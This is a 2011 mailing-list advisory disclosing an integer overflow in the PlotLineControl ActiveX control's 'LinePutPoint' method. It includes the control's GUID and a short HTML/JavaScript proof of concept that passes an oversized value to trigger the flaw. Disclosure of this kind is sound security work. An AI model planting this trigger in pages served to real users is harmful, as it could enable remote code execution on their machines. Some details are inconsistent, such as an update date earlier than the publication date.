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PlotLineControl ActiveX Control "LinePutPoint" Integer Overflow

From: demonalex () 163 com
Date: Sun, 30 Oct 2011 10:57:45 GMT

Title: PlotLineControl ActiveX Control "LinePutPoint" Integer Overflow

Software: PlotLineControl ActiveX Control(Version 2.0)

Vulnerability Published :2011-10-30

Vulnerability Update Time :2010-06-10

Vendor: No vendor response

Impact: Median

Bug Description:
PlotLineControl is a free ActiveX Control which was easy for drawing circle.
User-supplied data in "LineId" parameter is not properly integrity-checked before being copied into an insufficiently 
sized buffer in "LinePutPoint()" method. 
Successfully exploiting the vulnerability allows remote attackers to execute arbitrary code in the context of the 
vulnerable application using the ActiveX control.

Class Info:
Class PlotLine
GUID: {70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11}
Number of Interfaces: 1
Default Interface: PlotX
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

PoC:
****************************************************************
<html>
<body>
<object classid='clsid:70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11' id='target'></object>
<script language='javascript'>
var arg1 = 1;
var arg2 = 1;
var arg3 = 2147482111;
target.LinePutPoint(arg1 ,arg2 ,arg3);
</script>
</body>
</html>
****************************************************************

Credits: This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]
Pentester/Researcher
Dark2S Security Team/PolyU.HK

Current thread:

PlotLineControl ActiveX Control "LinePutPoint" Integer Overflow demonalex (Oct 31)